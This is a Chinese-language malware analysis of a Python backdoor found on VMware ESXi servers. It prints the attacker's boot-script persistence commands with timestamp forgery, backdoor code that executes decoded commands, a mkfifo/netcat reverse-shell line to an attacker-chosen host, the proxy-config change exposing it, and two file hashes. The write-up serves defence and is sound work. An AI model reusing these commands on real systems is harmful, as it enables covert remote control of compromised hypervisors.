2022 年 10 月,研究人员发现了一个植入 VMware ESXi 服务器的后门。自从 2019 年以来,未打补丁的 ESXi 服务器一直是攻击者的紧盯的目标,常用的漏洞为 CVE-2019-5544 和 CVE-2020-3992。
ESXi 是一个虚拟化平台,虚拟机的虚拟磁盘镜像存储在 ESXi 的物理磁盘上,但主机操作系统的系统文件存储在内存中。这些变更会在重新启动时被丢弃,只有少数特定系统文件会在重新启动时自动备份与恢复。例如 /etc/rc.local.d/local.sh 会在启动时执行。通常情况下,该文件应该除了注释什么内容都没有。但在失陷主机上,增加了如下代码:
/bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1
/bin/cat << LOCAL2 >> /bin/hostd-probe.sh
/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&
LOCAL2
/bin/cat /bin/hostd-probe.sh.1 >> /bin/hostd-probe.sh
/bin/chmod 755 /bin/hostd-probe.sh
/bin/rm /bin/hostd-probe.sh.1
/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh
前面将代码追加到 /bin/hostd-probe.sh 中,这也是在系统启动时自动执行的系统文件。用于启动一个 Python 脚本:
/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&
后面的 touch 命令将 /bin/hostd-probe.sh 文件的修改和访问时间戳重置为预安装系统文件的时间戳,使其看起来好像未被修改。
攻击者修改了四个文件:
/etc/rc.local.d/local.sh:存储在内存中,变更会在重启时进行备份与恢复
/bin/hostd-probe.sh:变更存储在内存中,重启后复原
/store/packages/vmtools.py:保存到磁盘持久化存储
/etc/vmware/rhttpproxy/endpoints.conf:变更存储在内存中,重启后复原
尽管 Python 可以跨平台使用,但仍有很多痕迹能表明攻击是针对 ESXi 服务设计的。使用文件 /store/packages/vmtools.py 是为了减少对虚拟化主机的怀疑,该文件与公开的 VMware 版权信息是一致的:
#!/bin/python
"""
Copyright 2011 - 2014 VMware, Inc. All rights reserved.
This module starts debug tools
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
Python 脚本启动一个简单的 HTTP 服务器,只接受密码匹配的 POST 请求。该脚本可以运行任意命令并将结果回显网页,或者可以启动反向 Shell。该服务器绑定在 127.0.0.1 的 8008 端口上,可处理五个参数:
server_namespace:保护后门的密码
server_instance:直接运行命令(local)还是启动反向 Shell(remote)
operation_id:仅在 local 时使用执行的命令
envelope:仅在 remote 时使用的主机
path_set:仅在 remote 时使用的端口
服务器首先检查密码的 MD5 值,密码校验正确则根据配置情况直接执行命令并且返回浏览器:
if action is None or action == 'local':
encoded_cmd = form.getvalue('operation_id')
if encoded_cmd is not None:
try:
cmd = str(base64.b64decode(encoded_cmd), "utf-8")
except binascii.Error:
return
self.wfile.write(os.popen(cmd).read().encode())
或者服务器向 envelope 和 path_set 的主机与端口启动反向 Shell:
if action == 'remote':
host = form.getvalue('envelope')
if host is not None:
port = form.getvalue('path_set')
if port is None:
port = '427'
cmd = 'mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb' % (host, port)
subprocess.Popen(cmd, shell=True)
反向 Shell 提供对失陷主机的访问会话:
反向 Shell
这样连接的远程终端会话,可以绕过防火墙的限制,即使无法通过互联网直接访问失陷主机也能正常连接。
反向 Shell 命令如下所示:
mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc <host> <port > /tmp/tmpy_8th_nb
命令管道比常见的反向 Shell 调用更复杂,能够适应 ESXi 上可用的 netcat 版本。请注意,如果 POST 请求未提供端口号,则使用默认端口 427。这也是 OpenSLP 的标准端口,存在漏洞的服务器有可能被利用来获取对 ESXi 的访问权限。
为了提供远程访问,黑客更改了 ESXi 反向 HTTP 代理的配置。配置文件 /etc/vmware/rhttpproxy/endpoints.conf 中包含许多映射关系,例如 /sdk local 8307 redirect allow
。
表明反向代理将任何对 https://<server_url/sdk/*
的外部请求都转发到端口 8307。而攻击者启用了 /<random_UUID> local 8008 allow allow
,这样攻击者就能够从外部访问恶意网络服务器。
由于 /etc/vmware/rhttpproxy/endpoints.conf
也在自动备份和恢复的系统文件中,所以该反向代理的配置是持久化的。
773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878
ceeb337778efe3c62a4ce04d750f60e773133dc7c99b661a5040e35afa16f426